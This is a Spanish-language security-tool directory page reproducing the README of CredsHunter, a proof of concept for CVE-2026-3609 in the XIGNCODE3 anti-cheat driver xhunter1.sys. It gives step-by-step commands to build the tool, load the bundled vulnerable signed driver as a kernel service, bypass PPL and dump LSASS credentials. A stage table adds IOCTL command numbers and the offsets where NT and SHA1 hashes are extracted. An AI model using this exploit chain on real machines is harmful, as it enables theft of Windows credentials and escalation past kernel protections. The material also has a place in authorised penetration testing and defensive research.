Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CredsHunter — PoC para CVE-2026-3609 - fuga de identificadores en xhunter1.sys de XIGNCODE3 que permite la evasión de PPL y el volcado de LSASS | Kitploit
Herramientas/GitHubGitHub/blacksnufkin/credshunter
Descifrado de ContraseñasEscalada de PrivilegiosForensia de MemoriaExplotaciónExplotación de Binarios
GitHubblacksnufkin/credshunter

CredsHunter

PoC para CVE-2026-3609 - fuga de identificadores en xhunter1.sys de XIGNCODE3 que permite la evasión de PPL y el volcado de LSASS

Ver Repositorio
364hace 3 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CredsHunter

CVE-2026-3609 · Informe

Prueba de concepto de volcado de credenciales LSASS para una fuga de manejadores de procesos que evita PPL en el controlador anti-trampas XIGNCODE3 de Wellbia, xhunter1.sys.

El controlador expone una interfaz de comandos IRP_MJ_WRITE que llama a ObOpenObjectByPointer con AccessMode = KernelMode y sin OBJ_KERNEL_HANDLE, colocando un manejador PROCESS_ALL_ACCESS emitido por el kernel directamente en la tabla de manejadores del llamador. A partir de ahí, el código estándar de volcado de credenciales lee la clave 3DES de lsasrv.dll del proceso objetivo y recupera los hashes NTLM + SHA1 de cada sesión de inicio de sesión activa.

Binario afectado

root@kitploit:~
xhunter1.sys  version 10.0.10011.16384
SHA-256       e727d0753d2cd0b2f6eeba4cea53aa10b3ff3ed2afeb78f545fcf6d840f85c3e

El controlador vulnerable firmado está incluido en este repositorio (xhunter1.sys) para que el exploit sea reproducible de principio a fin. Verifica el hash antes de cargarlo:

root@kitploit:~
Get-FileHash .\xhunter1.sys -Algorithm SHA256

Las versiones más recientes de XIGNCODE3 están parcheadas. El binario vulnerable firmado sigue siendo utilizable como primitiva BYOVD en cualquier equipo donde pueda colocarse y cargarse.

Compilación

root@kitploit:~
git clone https://github.com/BlackSnufkin/CredsHunter.git
cd CredsHunter
cargo build --release

El binario de la versión release se coloca en target\release\CredsHunter.exe.

Ejecución

Carga el controlador incluido como servicio del kernel (la DACL del dispositivo del controlador permite cualquier llamador una vez que está en ejecución):

root@kitploit:~
sc create xhunter type=kernel binPath=(Resolve-Path .\xhunter1.sys)
sc start xhunter

Ejecuta la herramienta:

root@kitploit:~
.\target\release\CredsHunter.exe

Para limpiar después:

root@kitploit:~
sc stop xhunter
sc delete xhunter

El nombre de dispositivo predeterminado es \\.\xhunter (coincidiendo con el nombre de servicio de ejemplo anterior). Si tu servicio usa un nombre diferente, la ruta del dispositivo se ajustará a él — edita driver::DEFAULT_DEVICE o llama a Xhunter::open_named en consecuencia.

Salida de ejemplo

root@kitploit:~
  xhunter1.sys BYOVD — LSASS credential dump
  CVE-2026-3609 — PPL bypass via cmd 785 (ObOpenObjectByPointer/KernelMode)

[+] OS build .............. 26200
[+] lsass.exe PID ......... 940
[+] Driver opened ......... \\.\xhunter
[+] PPL bypass handle ..... 0x154 (ReadProcessMemory)
[+] lsasrv.dll ............ local 0x00007FFB27CB0000  remote 0x00007FFB27CB0000
[+] LSA key addrs (local) . AES 0x...  3DES 0x...  IV 0x...
[+] 3DES key (24B) ........ <hex>
[+] IV .................... <hex>

===== LogonSessionList =====

[0001] LogonSession @ 0x...
  User   : <username>
  Domain : <domain>
  NTHash : <16 bytes hex>
  SHA1   : <20 bytes hex>

[...]

Cómo funciona

Estructura del proyecto

root@kitploit:~
src/
├── main.rs       # banner, run flow, ExitCode handling
├── driver.rs     # Xhunter, Session, MemReader trait, protocol constants
├── proc.rs       # find_pid, PEB-walk remote module lookup
├── pe.rs         # local PE parsing + pattern scan + RIP decode
├── lsa.rs        # LSA key patterns, BCrypt key extraction, 3DES decrypt
├── logon.rs      # LogonSessionList walker + MSV1_0 offsets
├── wdigest.rs    # WDigest list walker (best-effort)
└── sys.rs        # OS build number

El trait MemReader abstrae las lecturas de memoria para que los módulos de extracción de credenciales no dependan de la primitiva específica del controlador. Implementa el trait en un lector diferente (por ejemplo, un runtime de Beacon Object File, un lector de memoria física basado en ptwalk) y los módulos lsa / logon / wdigest se integran sin cambios.

Limitaciones conocidas

  • La recuperación de texto plano de WDigest es de tipo "best-effort". La firma de la cabeza de lista es un patrón de un solo byte (48 3B D9 74) heredado del PoC público original y no se ha actualizado para Windows 11 build 26100+. Convertir esto en una tabla por compilación es sencillo; se aceptan PRs.
  • El nombre de servicio / dispositivo está codificado a xhunter. Si cargas el controlador con un nombre distinto, edita driver::DEFAULT_DEVICE o pasa una anulación a Xhunter::open_named.

Aviso legal

Solo para investigación, pruebas autorizadas y herramientas defensivas. Cargar el controlador vulnerable en un sistema que no poseas o para el que no tengas permiso explícito de prueba es un delito en la mayoría de las jurisdicciones. El autor no acepta ninguna responsabilidad por el mal uso.

Licencia

Consulta LICENSE.

Descargar herramienta
EtapaComponenteQué sucede
1driver.rs → Xhunter::openCreateFile("\\.\\xhunter") — sin autenticación en el dispositivo
2driver.rs → Xhunter::open_processWriteFile con el comando 785 (PID, PROCESS_ALL_ACCESS). El controlador llama a ObOpenObjectByPointer(target, 0, NULL, 0x1FFFFF, PsProcessType, KernelMode, &handle) y escribe el manejador de vuelta en el búfer de respuesta del usuario en +0x10. El manejador evita PPL porque AccessMode = KernelMode omite la comprobación de acceso, y aterriza en nuestra tabla de manejadores porque OBJ_KERNEL_HANDLE no está establecido.
3driver.rs → Session::attachPrueba ReadProcessMemory contra el manejador emitido por el kernel. Recurre al comando 787 del controlador (KeStackAttachProcess + memcpy) si RPM está bloqueado.
4lsa.rsEscanea patrones en .text de lsasrv.dll local para recuperar punteros relativos a RIP de la clave AES, la clave 3DES y el IV dentro de LsaInitializeProtectedMemory. Reubica esas VAs en el mapeo del objetivo, recorre BCRYPT_HANDLE_KEY → BCRYPT_KEY81 y extrae los bytes 3DES crudos del objetivo.
5logon.rsRecorre LogonSessionList (tabla de firmas por compilación). La credencial principal de cada entrada en +credentials → +0x10 → +0x30 contiene un blob cifrado con 3DES de 0x1B0 bytes. bcrypt.dll lo descifra; los bytes 70..86 son el hash NT y 102..122 son el SHA1.